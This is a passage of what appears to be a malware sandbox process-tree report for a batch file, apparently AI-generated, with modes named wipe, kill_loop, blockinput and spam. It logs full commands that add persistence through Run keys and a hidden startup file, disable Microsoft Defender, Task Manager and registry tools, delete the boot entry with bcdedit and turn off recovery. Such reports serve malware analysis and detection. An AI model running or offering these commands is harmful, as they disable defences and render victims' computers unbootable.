        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8324
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7420
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5488
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10760
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:5648
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6228
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7232
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7384
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6604
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8768
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7148
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8172
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:7852
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8280
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6624
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6756
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:4392
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2468
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:5212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:4068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9152
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:6320
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8384
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4324
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9220
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:4484
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8480
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4776
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:5268
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:2200
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2004
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6644
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3912
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7304
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:7864
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:3424
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:3400
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3800
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:2160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:4244
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4404
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:4180
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4304
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:920
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4828
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2160
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:3356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:5504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:5916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:4108
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5868
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1680
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2056
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:692
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:5748
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5372
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8688
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9900
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7424
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8244
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8832
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6336
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10096
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10936
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:5572
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6944
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6592
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7308
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9860
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9120
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8568
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4128
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:6504
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6336
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4188
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:8908
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:5740
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6236
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7152
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9192
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:5624
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8484
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:5312
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9968
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:9272
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6460
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9036
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:1688
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:4980
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6936
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7292
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6996
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9452
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9964
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9660
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9684
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10092
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9596
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:5244
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6560
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6860
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:10016
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6940
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7792
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:9560
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1976
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9096
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10384
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:3696
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1648
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7020
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7892
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8220
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9976
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9000
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8856
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4108
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:4136
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6900
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6152
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9388
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:5228
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7360
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7876
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7900
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8804
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:712
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9224
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:6328
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9656
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9728
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1560
        
